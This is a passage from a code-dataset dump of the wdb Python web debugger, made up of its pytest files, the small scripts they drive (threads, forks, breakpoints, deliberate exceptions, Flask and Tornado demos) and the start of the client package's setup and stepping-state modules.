a), ('b', b), ('*args', args), ('**kwargs', kwargs), ) ) obj = cls() obj.f(8, 'p', 10, z=2, o=9) obj.f(None) if sys.version_info[0] >= 3: # ... exec( ''' def test_method_reverse(): from wdb.utils import get_args class cls(object): def f(self, a, *args, b=2, **kwargs): assert get_args(sys._getframe()) == OrderedDict(( ('self', self), ('a', a), ('*args', args), ('b', b), ('**kwargs', kwargs) )) obj = cls() obj.f(8, 'p', 10, z=2, o=9) obj.f(8, 10, z=2, o=9, b='p') obj.f(None) def test_complicated(): from wdb.utils import get_args def f(a, b, c, d=5, e=12, *args, h=1, i=8, j=None, **kwargs): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('d', d), ('e', e), ('*args', args), ('h', h), ('i', i), ('j', j), ('**kwargs', kwargs) )) def g(a, b, c, *args, h=1, i=8, j=None, **kwargs): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('*args', args), ('h', h), ('i', i), ('j', j), ('**kwargs', kwargs) )) def h(a, b, c, h=1, i=8, j=None, **kwargs): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('h', h), ('i', i), ('j', j), ('**kwargs', kwargs) )) def i(a, b, c, *args, h=1, i=8, j=None): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('*args', args), ('h', h), ('i', i), ('j', j), )) def j(a, b, c, h=1, i=8, j=None): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('h', h), ('i', i), ('j', j), )) def k(a, b, c, d=5, e=12, *args, **kwargs): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('d', d), ('e', e), ('*args', args), ('**kwargs', kwargs) )) def l(a, b, c, d=5, e=12, *args, h=1, i=8, j=None): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('d', d), ('e', e), ('*args', args), ('h', h), ('i', i), ('j', j), )) def m(a, b, c, d=5, e=12, h=1, i=8, j=None): assert get_args(sys._getframe()) == OrderedDict(( ('a', a), ('b', b), ('c', c), ('d', d), ('e', e), ('h', h), ('i', i), ('j', j), )) f(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, m=13, n=14, o=15) f(1, 2, 3, 4, 5, 6, 7, 8, 9, h=10, i=11, j=12, m=13, n=14, o=15) g(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, m=13, n=14, o=15) g(1, 2, 3, 4, 5, 6, 7, 8, 9, h=10, i=11, j=12, m=13, n=14, o=15) h(1, 2, 3, 10, 11, 12, m=13, n=14, o=15) h(1, 2, 3, h=10, i=11, j=12, m=13, n=14, o=15) i(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12) i(1, 2, 3, 4, 5, 6, 7, 8, 9, h=10, i=11, j=12) j(1, 2, 3, 10, 11, 12) j(1, 2, 3, h=10, i=11, j=12) k(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, m=13, n=14, o=15) k(1, 2, 3, 4, 5, 6, 7, 8, 9, h=10, i=11, j=12, m=13, n=14, o=15) l(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12) l(1, 2, 3, 4, 5, 6, 7, 8, 9, h=10, i=11, j=12) m(1, 2, 3, 4, 5, 10, 11, 12) m(1, 2, 3, 4, 5, h=10, i=11, j=12) ''' )
5,855
Python
.py
198
20.429293
77
0.381708
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,445
test_objects.py
Kozea_wdb/test/test_objects.py
# *-* coding: utf-8 *-* from .conftest import use @use('objects.py') def test_repr(socket): socket.start() def step(code, **kwargs): socket.send('Step') socket.assert_position(code=code, **kwargs) def next(code, **kwargs): socket.send('Next') socket.assert_position(code=code, **kwargs) msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive() assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive() assert msg.command == 'Trace' msg = socket.receive() assert msg.command == 'SelectCheck' file = msg.data.name msg = socket.receive() assert msg.command == 'Watched' assert msg.data == {} socket.send('File', file) msg = socket.receive() assert msg.command == 'Select' assert msg.data.name == file def link(var): return '<a href="%d" class="inspect">%r</a>' % (id(var), var) step('def create_a(n):', call='create_a(n=%s)' % link(5)) next('a = A(n)') next('return a') next('return a', return_='&lt;A object with n=5&gt;') next('b = create_a(2)') next('a, b, c = combine(a, b)') step('def combine(a, b):', call='&lt;A object with n=5&gt;') next('return [a, b, A(a.n + b.n)]') next('return [a, b, A(a.n + b.n)]', return_='&lt;A object with n=7&gt;') next('display(a, b, wdb, c=c, cls=A, obj=object)') step( 'def display(a, b=None, *c, **d):', call=' class="inspect">&lt;class ' ) next('print(locals())') next('print(locals())', return_='None') socket.send('Continue') socket.join()
1,705
Python
.py
49
29.346939
78
0.585871
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,446
test_no_error.py
Kozea_wdb/test/test_no_error.py
# *-* coding: utf-8 *-* from .conftest import use @use('error_not_ignored_in_script.py') def test_with_error_not_ignored_because_of_full(socket): socket.start() assert socket.receive().command == 'Init' assert socket.receive().command == 'Title' trace = socket.receive() assert trace.command == 'Trace' assert trace.data.trace[-1].current assert socket.receive().command == 'SelectCheck' assert socket.receive().command == 'Echo' assert socket.receive().command == 'Watched' socket.send('Continue') assert socket.receive().command == 'Title' trace = socket.receive() assert trace.command == 'Trace' assert not trace.data.trace[-1].current assert socket.receive().command == 'SelectCheck' assert socket.receive().command == 'Echo' assert socket.receive().command == 'Watched' socket.send('Continue') socket.join()
893
Python
.py
23
34.347826
56
0.685912
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,447
test_forks.py
Kozea_wdb/test/test_forks.py
# *-* coding: utf-8 *-* from .conftest import use @use('forks.py') def test_with_forks(socket): uuid1 = socket.start() uuid2 = socket.start() for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive(uuid) assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive(uuid1) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if current_trace.code == "print('Process 1 end')": assert current_trace.current is True assert 'scripts/forks.py' in current_trace.file assert current_trace.flno == 6 assert current_trace.function == 'run' assert current_trace.llno == 9 assert current_trace.lno == 9 uuid1_fork1 = True else: assert current_trace.code == "print('Process 2 end')" assert current_trace.current is True assert 'scripts/forks.py' in current_trace.file assert current_trace.flno == 13 assert current_trace.function == 'run' assert current_trace.llno == 16 assert current_trace.lno == 16 uuid1_fork1 = False msg = socket.receive(uuid2) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if uuid1_fork1: assert current_trace.code == "print('Process 2 end')" assert current_trace.current is True assert 'scripts/forks.py' in current_trace.file assert current_trace.flno == 13 assert current_trace.function == 'run' assert current_trace.llno == 16 assert current_trace.lno == 16 else: assert current_trace.code == "print('Process 1 end')" assert current_trace.current is True assert 'scripts/forks.py' in current_trace.file assert current_trace.flno == 6 assert current_trace.function == 'run' assert current_trace.llno == 9 assert current_trace.lno == 9 for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'SelectCheck' assert msg.data.frame.function == 'run' msg = socket.receive(uuid) assert msg.command == 'Watched' assert msg.data == {} socket.send('Continue', uuid=uuid) last_uuid = socket.start() msg = socket.receive(last_uuid) assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive(last_uuid) assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive(last_uuid) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == "print('The End')" assert current_trace.current is True assert 'scripts/forks.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 30 assert current_trace.lno == 30 socket.send('Continue', uuid=last_uuid) socket.join()
3,121
Python
.py
81
31.444444
61
0.637925
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,448
test_main.py
Kozea_wdb/test/test_main.py
from .conftest import use @use('ok_script.py', with_main=True) def test_main_on_running_script(socket): socket.start() msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive() assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive() assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == 'a = 3' assert current_trace.current is True assert 'scripts/ok_script.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 4 assert current_trace.lno == 1 msg = socket.receive() assert msg.command == 'SelectCheck' assert msg.data.frame.function == '<module>' msg = socket.receive() assert msg.command == 'Watched' assert msg.data == {} socket.send('Next') socket.assert_position(code='b = 5') socket.send('Next') socket.assert_position(code='c = a + b') socket.send('Continue') socket.join() @use('404.py', with_main=True) def test_main_on_unexisting_script(socket): # If it doesn't timeout this is good socket.join()
1,269
Python
.py
37
29.594595
55
0.667212
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,449
test_threads.py
Kozea_wdb/test/test_threads.py
# *-* coding: utf-8 *-* from .conftest import use @use('threads.py') def test_with_threads(socket): uuid1 = socket.start() uuid2 = socket.start() for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive(uuid) assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive(uuid1) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if current_trace.code == "print('Thread 1 end')": assert current_trace.current is True assert 'scripts/threads.py' in current_trace.file assert current_trace.flno == 6 assert current_trace.function == 'run' assert current_trace.llno == 9 assert current_trace.lno == 9 uuid1_thread1 = True else: assert current_trace.code == "print('Thread 2 end')" assert current_trace.current is True assert 'scripts/threads.py' in current_trace.file assert current_trace.flno == 13 assert current_trace.function == 'run' assert current_trace.llno == 16 assert current_trace.lno == 16 uuid1_thread1 = False msg = socket.receive(uuid2) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if uuid1_thread1: assert current_trace.code == "print('Thread 2 end')" assert current_trace.current is True assert 'scripts/threads.py' in current_trace.file assert current_trace.flno == 13 assert current_trace.function == 'run' assert current_trace.llno == 16 assert current_trace.lno == 16 else: assert current_trace.code == "print('Thread 1 end')" assert current_trace.current is True assert 'scripts/threads.py' in current_trace.file assert current_trace.flno == 6 assert current_trace.function == 'run' assert current_trace.llno == 9 assert current_trace.lno == 9 for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'SelectCheck' assert msg.data.frame.function == 'run' msg = socket.receive(uuid) assert msg.command == 'Watched' assert msg.data == {} socket.send('Continue', uuid=uuid) last_uuid = socket.start() msg = socket.receive(last_uuid) assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive(last_uuid) assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive(last_uuid) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == "print('The End')" assert current_trace.current is True assert 'scripts/threads.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 30 assert current_trace.lno == 30 socket.send('Continue', uuid=last_uuid) socket.join()
3,137
Python
.py
81
31.641975
60
0.639829
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,450
test_breaks.py
Kozea_wdb/test/test_breaks.py
# *-* coding: utf-8 *-* from .conftest import use import json import os def make_break( fn='movement.py', lno=None, cond=None, fun=None, temporary=False ): return json.dumps( { 'fn': os.path.join(os.path.dirname(__file__), 'scripts', fn), 'lno': lno, 'cond': cond, 'fun': fun, 'temporary': temporary, } ) @use('movement.py') def test_simple_break(socket): socket.start() socket.assert_init() socket.send('Break', make_break('movement.py', 7)) msg = socket.receive() assert msg.command == 'BreakSet' socket.send('Next') socket.assert_position(line=12, breaks=[7]) socket.send('Continue') socket.assert_position(line=7) socket.send('Next') socket.assert_position(line=8) socket.send('Continue') socket.join() @use('movement.py') def test_function_break(socket): socket.start() socket.assert_init() socket.send('Break', make_break(fun='modify_list')) msg = socket.receive() assert msg.command == 'BreakSet' socket.send('Next') socket.assert_position(line=12) socket.send('Continue') socket.assert_position(line=6) socket.send('Next') socket.assert_position(line=7) socket.send('Next') socket.assert_position(line=8) socket.send('Unbreak', make_break(fun='modify_list')) msg = socket.receive() assert msg.command == 'BreakUnset' socket.send('Continue') socket.join() @use('movement.py') def test_conditional_break(socket): socket.start() socket.assert_init() socket.send('Break', make_break(cond='sum(l) > 28')) msg = socket.receive() assert msg.command == 'BreakSet' socket.send('Next') socket.assert_position(line=12) socket.send('Continue') socket.assert_position(line=16) socket.send('Unbreak', make_break(cond='sum(l) > 28')) msg = socket.receive() assert msg.command == 'BreakUnset' socket.send('Continue') socket.join()
2,005
Python
.py
67
24.716418
73
0.64553
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,451
forks.py
Kozea_wdb/test/scripts/forks.py
from multiprocessing import Process from wdb import set_trace as wtf class Process1(Process): def run(self): print('Process 1 start') wtf() print('Process 1 end') class Process2(Process): def run(self): print('Process 2 start') wtf() print('Process 2 end') t1 = Process1() t2 = Process2() t1.daemon = t2.daemon = True print('Forking process') t1.start() t2.start() print('Joining') t1.join() t2.join() wtf() print('The End')
488
Python
.py
23
17.478261
35
0.661572
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,452
error_in_with_advanced.py
Kozea_wdb/test/scripts/error_in_with_advanced.py
from wdb import trace def make_error(i): return i / 0 def parent(): a = 1 try: b = make_error(a) except ZeroDivisionError: b = 1 c = 3 * b return c def grandparent(): a = 2 b = parent() c = a * b return c with trace(): parent() with trace(full=True): parent() with trace(): grandparent() with trace(full=True): grandparent() print('The end')
426
Python
.py
25
12.68
29
0.588689
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,453
latin-1.py
Kozea_wdb/test/scripts/latin-1.py
# -*- coding: latin-1 -*- import sys def u(s): """Python 3.2...""" if sys.version_info[0] == 2: return s.decode('latin-1') return s print(u('יאח')) import wdb wdb.set_trace()
199
Python
.py
10
16.5
34
0.578378
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,454
tornado_server.py
Kozea_wdb/test/scripts/tornado_server.py
from wdb.ext import wdb_tornado import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): a = 2 b = -2 c = 1 / (a + b) < 0 # <strong> Err Å“ print(c <b> a) relay_error() self.write("Hello, world") class OkHandler(tornado.web.RequestHandler): def get(self): self.write("Ok") def make_app(): return tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() wdb_tornado(app, start_disabled=True) app.listen(8888) tornado.ioloop.IOLoop.current().start()
636
Python
.py
23
22.130435
46
0.609917
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,455
ok_script.py
Kozea_wdb/test/scripts/ok_script.py
a = 3 b = 5 c = a + b print(c)
31
Python
.py
4
6.75
9
0.481481
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,456
error_in_with_under.py
Kozea_wdb/test/scripts/error_in_with_under.py
from wdb import trace def catched_exception(below): try: return below / 0 except ZeroDivisionError: return 2 def uncatched_exception(below): return below / 0 def uninteresting_function(below): b = catched_exception(below) return b def uninteresting_function_not_catching(below): b = uncatched_exception(below) return b def uninteresting_function_catching(below): try: b = uncatched_exception(below) except ZeroDivisionError: b = 2 return b def one_more_step(fun, below): return fun(below) # This should not stop with trace(under=uninteresting_function): try: raise Exception('Catched Exception') except Exception: pass # This should not stop with trace(under=uninteresting_function): uninteresting_function(1) # This should stop # below = 1 the exception in catched exception should stop trace with trace(under=uninteresting_function_not_catching): try: uninteresting_function_not_catching(1) except: pass # This should stop # below = 1 the function 2 layer under raised an exception with trace(under=uninteresting_function_catching): uninteresting_function_catching(1) # This should not stop with trace(under=uninteresting_function): one_more_step(uninteresting_function, 2) # This should stop with trace(under=uninteresting_function_not_catching): try: one_more_step(uninteresting_function_not_catching, 2) except: pass # This should stop with trace(under=uninteresting_function_catching): one_more_step(uninteresting_function_catching, 2)
1,628
Python
.py
54
25.722222
64
0.743078
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,457
osfork.py
Kozea_wdb/test/scripts/osfork.py
import os from wdb import set_trace as wtf print('Forking') pid = os.fork() if pid == 0: print('In children') wtf() print('Children dead') else: print('In parent') wtf() print('Parent dead') print('The End')
237
Python
.py
13
15
32
0.648402
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,458
error_in_script.py
Kozea_wdb/test/scripts/error_in_script.py
import wdb def divide_by_zero(z): return z / 0 def with_trace_fun(): a = 2 b = 4 c = a + b print(c) d = divide_by_zero(c) print(d) print('The end') wdb.start_trace() try: with_trace_fun() finally: wdb.stop_trace()
259
Python
.py
16
12.375
25
0.584034
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,459
threads.py
Kozea_wdb/test/scripts/threads.py
from threading import Thread from wdb import set_trace as wtf class Thread1(Thread): def run(self): print('Thread 1 start') wtf() print('Thread 1 end') class Thread2(Thread): def run(self): print('Thread 2 start') wtf() print('Thread 2 end') t1 = Thread1() t2 = Thread2() t1.daemon = t2.daemon = True print('Starting threads') t1.start() t2.start() print('Joining') t1.join() t2.join() wtf() print('The End')
472
Python
.py
23
16.782609
32
0.649321
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,460
trace_in_script.py
Kozea_wdb/test/scripts/trace_in_script.py
def fun1(a): b = 4 c = a + b for i in range(10): c += b return c + 1 def fun2(l): import wdb wdb.set_trace() a = 2 e = fun1(a) return e def main(): fun2(0) main() import wdb wdb.set_trace() print('The end')
263
Python
.py
18
10.5
23
0.531646
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,461
objects.py
Kozea_wdb/test/scripts/objects.py
import wdb class A(object): def __init__(self, n): self.n = n def __repr__(self): return '<A object with n=%d>' % self.n def create_a(n): a = A(n) return a def combine(a, b): return [a, b, A(a.n + b.n)] def display(a, b=None, *c, **d): print(locals()) def work(): wdb.set_trace() a = create_a(5) b = create_a(2) a, b, c = combine(a, b) display(a, b, wdb, c=c, cls=A, obj=object) work()
458
Python
.py
20
18.3
46
0.535211
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,462
error_in_with_below_under.py
Kozea_wdb/test/scripts/error_in_with_below_under.py
from wdb import trace def uncatched_exception(below): return below / 0 def uninteresting_exception(below): return below.what def uninteresting_function_catching(below): # Uninteresting exception try: uninteresting_exception(below) except AttributeError: pass try: b = uncatched_exception(below) except ZeroDivisionError: b = 2 return b def the_step_more(below): try: below.what except AttributeError: pass try: return uncatched_exception(below) except ZeroDivisionError: return 2 def uninteresting_function_catching_with_a_step_more(below): # Uninteresting exception try: uninteresting_exception(below) except AttributeError: pass b = the_step_more(below) return b def one_more_step(fun, below): try: uninteresting_exception(below) except AttributeError: pass return fun(below) # This should stop for both with trace(under=uninteresting_function_catching): uninteresting_function_catching(0) # This should stop only for the latter in uncatched with trace(under=uncatched_exception): uninteresting_function_catching(0) # This should not stop with trace(under=the_step_more): uninteresting_function_catching(0) # This should not stop with trace(under=uncatched_exception, below=1): uninteresting_function_catching(0) # This should stop in uncatched_exception with trace(under=the_step_more, below=1): uninteresting_function_catching_with_a_step_more(1) # This should stop in uncatched_exception with trace(under=the_step_more, below=1): one_more_step(uninteresting_function_catching_with_a_step_more, 2)
1,730
Python
.py
57
25.350877
70
0.734384
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,463
recursive_object.py
Kozea_wdb/test/scripts/recursive_object.py
a = { 'a': 3, } b = { 'b': 4, 'a': a } a['b'] = b import wdb wdb.set_trace()
90
Python
.py
10
6.7
15
0.392405
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,464
movement.py
Kozea_wdb/test/scripts/movement.py
# This file does some random operation on a list import wdb def modify_list(ll): ll[1] = 7 ll.insert(0, 3) return ll wdb.set_trace() l = [] l.append(3) l += [8, 12] l = modify_list(l) for i, e in enumerate(l[:]): if i > 2: l[i] = i else: l[i] = e * i print(l, sum(l))
309
Python
.py
17
14.764706
48
0.56446
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,465
wsgi.py
Kozea_wdb/test/scripts/wsgi.py
# -*- coding: utf-8 -*- from flask import Flask, request import logging from wdb.ext import WdbMiddleware app = Flask(__name__) def make_error(): import whatever def relay_error(): make_error() def bad_recur(n): 1 / n return bad_recur(n - 1) @app.route("/ok") def good_function(): a = 2 return "It's working" * a @app.route("/") def bad_function(): app.logger.warn('It will try to divide by zero') a = 2 b = -2 c = 1 / (a + b) < 0 # <strong> Err Å“ print(c <b> a) relay_error() return "Hello World!" @app.route("/cascade") def cascaded_exception(): try: bad_function() except ZeroDivisionError: raise ValueError finally: raise KeyError @app.route("/wtf/error") def wtf_error(): import wdb wdb.set_trace() a = 2 a / 0 return 12 @app.route("/post") def post(): return ('<form action="/post/test" method="post">' ' <input type="text" name="key1" value="Val11" />' ' <input type="text" name="key1" value="Val12" />' ' <input type="text" name="key2" value="Val21" />' ' <input type="text" name="key2" value="Val22" />' ' <input type="submit" value="Post" />' '</form>') @app.route("/multipart/post") def multipart_post(): return ('<form action="/post/test" method="post"' ' enctype="multipart/form-data">' ' <input type="text" name="key1" value="Val11" />' ' <input type="text" name="key1" value="Val12" />' ' <input type="text" name="key2" value="Val21" />' ' <input type="text" name="key2" value="Val22" />' ' <input type="submit" value="Post" />' '</form>') @app.route("/post/test", methods=('POST',)) def post_test(): a = 2 import wdb wdb.set_trace() return 'POST RETURN %r' % request.values @app.route("/wtf") def wtf(): a = 12 b = 21 c = a / b import wdb wdb.set_trace() d = a - 2 e = b + a - c + d for i in range(5): e += i # Test breaking on /usr/lib/python2.7/logging/__init__.py:1254 app.logger.info('I was here') return 'OK! %d' % e @app.route("/long") def long_trace(): return bad_recur(10) @app.route("/slow") def slow(): from time import sleep sleep(10) return 'Finally' @app.route("/gen") def generator(): def bad_gen(n): for i in reversed(range(n)): yield 1 / i return ''.join(bad_gen(10)) @app.route("/gen2") def comprehension_generator(): return ''.join((1 / i for i in reversed(range(10)))) @app.route("/lambda") def lambda_(): return ''.join(map(lambda x: 1 / x, reversed(range(10)))) @app.route("/import") def import_(): import importtest # @app.route("/favicon.ico") # def fav(): # 1/0 def init(): from log_colorizer import make_colored_stream_handler handler = make_colored_stream_handler() app.logger.handlers = [] app.logger.addHandler(handler) logging.getLogger('werkzeug').handlers = [] logging.getLogger('werkzeug').addHandler(handler) handler.setLevel(logging.DEBUG) app.logger.setLevel(logging.DEBUG) logging.getLogger('werkzeug').setLevel(logging.DEBUG) try: # This is an independant tool for reloading chrome pages # through websockets # See https://github.com/paradoxxxzero/wsreload import wsreload.client except ImportError: app.logger.debug('wsreload not found') else: url = "http://l:1985/*" def log(httpserver): app.logger.debug('WSReloaded after server restart') wsreload.client.monkey_patch_http_server({'url': url}, callback=log) app.logger.debug('HTTPServer monkey patched for url %s' % url) def run(): init() app.wsgi_app = WdbMiddleware(app.wsgi_app, start_disabled=True) app.run( debug=True, host='0.0.0.0', port=1985, use_debugger=False, use_reloader=True) if __name__ == '__main__': run()
4,039
Python
.py
136
24.257353
76
0.602747
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,466
error_ignored_in_script.py
Kozea_wdb/test/scripts/error_ignored_in_script.py
import wdb def divide_by_zero(z): return z / 0 def with_trace_fun(): a = 2 b = 4 c = a + b print(c) try: d = divide_by_zero(c) except ZeroDivisionError: d = -1 print(d) print('The end') wdb.start_trace() with_trace_fun() wdb.stop_trace()
296
Python
.py
17
13
29
0.575092
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,467
error_in_with.py
Kozea_wdb/test/scripts/error_in_with.py
from wdb import trace def make_error(i): try: return i / 0 except ZeroDivisionError: return 2 with trace(): a = 2 b = 4 c = a + b print(c) d = make_error(c) print(d) with trace(full=True): a = 2 b = 4 c = a + b print(c) d = make_error(c) print(d + a) print('The end')
346
Python
.py
21
11.761905
29
0.532915
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,468
error_in_with_below.py
Kozea_wdb/test/scripts/error_in_with_below.py
from wdb import trace def catched_exception(below): try: return below / 0 except ZeroDivisionError: return 2 def uncatched_exception(below): return below / 0 def uninteresting_function(below): b = catched_exception(below) return b def uninteresting_function_not_catching(below): b = uncatched_exception(below) return b def uninteresting_function_catching(below): try: b = uncatched_exception(below) except ZeroDivisionError: b = 2 return b def one_more_step(fun, below): return fun(below) # This should not stop # below = 1 so in trace exception should be ignored with trace(below=1): try: raise Exception('Catched Exception') except Exception: pass # This should not stop # below = 1 so catched function 2 layer under are ignored with trace(below=1): uninteresting_function(1) # This should stop # below = 1 the exception in catched exception should stop trace with trace(below=1): try: uninteresting_function_not_catching(1) except: pass # This should stop # below = 1 the function 2 layer under raised an exception with trace(below=1): uninteresting_function_catching(1) # This should not stop neither with trace(below=2): try: raise Exception('Catched Exception') except Exception: pass # This should not stop with trace(below=2): one_more_step(uninteresting_function, 2) # This should stop with trace(below=2): try: one_more_step(uninteresting_function_not_catching, 2) except: pass # This should stop with trace(below=2): one_more_step(uninteresting_function_catching, 2)
1,689
Python
.py
62
22.854839
64
0.716511
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,469
error_not_ignored_in_script.py
Kozea_wdb/test/scripts/error_not_ignored_in_script.py
import wdb def divide_by_zero(z): return z / 0 def with_trace_fun(): a = 2 b = 4 c = a + b print(c) try: d = divide_by_zero(c) except ZeroDivisionError: d = -1 print(d) print('The end') wdb.start_trace(full=True) with_trace_fun() wdb.stop_trace()
305
Python
.py
17
13.529412
29
0.585106
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,470
bad_script.py
Kozea_wdb/test/scripts/bad_script.py
def broken(a): a / 0 a = 3 b = 5 c = a + b broken(c)
59
Python
.py
6
7.833333
14
0.509804
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,471
setup.py
Kozea_wdb/client/setup.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ wdb """ import sys from setuptools import setup __version__ = '3.3.0' requires = [ "log_colorizer>=1.8.3", "jedi>=0.9.0", 'uncompyle6', 'python-magic>=0.4.15', ] if sys.version_info[:2] <= (2, 6): requires.append('argparse') requires.append('ordereddict') else: requires.append('importmagic3') options = dict( name="wdb", version=__version__, description="An improbable web debugger through WebSockets (client only)", long_description="See http://github.com/Kozea/wdb", author="Florian Mounier @ kozea", author_email="florian.mounier@kozea.fr", url="http://github.com/Kozea/wdb", license="GPLv3", platforms="Any", packages=['wdb'], install_requires=requires, entry_points={ 'console_scripts': [ 'wdb=wdb.__main__:main', 'wdb-%s=wdb.__main__:main' % sys.version[:3], ] }, classifiers=[ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 3", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", "Topic :: Software Development :: Debuggers", ], ) setup(**options)
1,485
Python
.py
50
24.58
78
0.615815
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,472
state.py
Kozea_wdb/client/wdb/state.py
from .utils import pretty_frame class State(object): def __init__(self, frame): self.frame = frame def up(self): """Go up in stack and return True if top frame""" if self.frame: self.frame = self.frame.f_back return self.frame is None def __repr__(self): return '<State is %s for %s>' % ( self.__class__.__name__, pretty_frame(self.frame), ) class Running(State): """Running state: never stopping""" def stops(self, frame, event): return False class Step(State): """Stepping state: always stopping""" def stops(self, frame, event): return True class Next(State): """Nexting state: stop if same frame""" def stops(self, frame, event): return self.frame == frame class Until(State): """Nexting until state: stop if same frame and is next line""" def __init__(self, frame, lno): self.frame = frame self.lno = lno + 1 def stops(self, frame, event): return self.frame == frame and frame.f_lineno >= self.lno class Return(Next): """Returning state: Stop on return event if same frame""" def stops(self, frame, event): return self.frame == frame and event == 'return'
1,281
Python
.py
37
27.675676
66
0.607843
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,473
ui.py
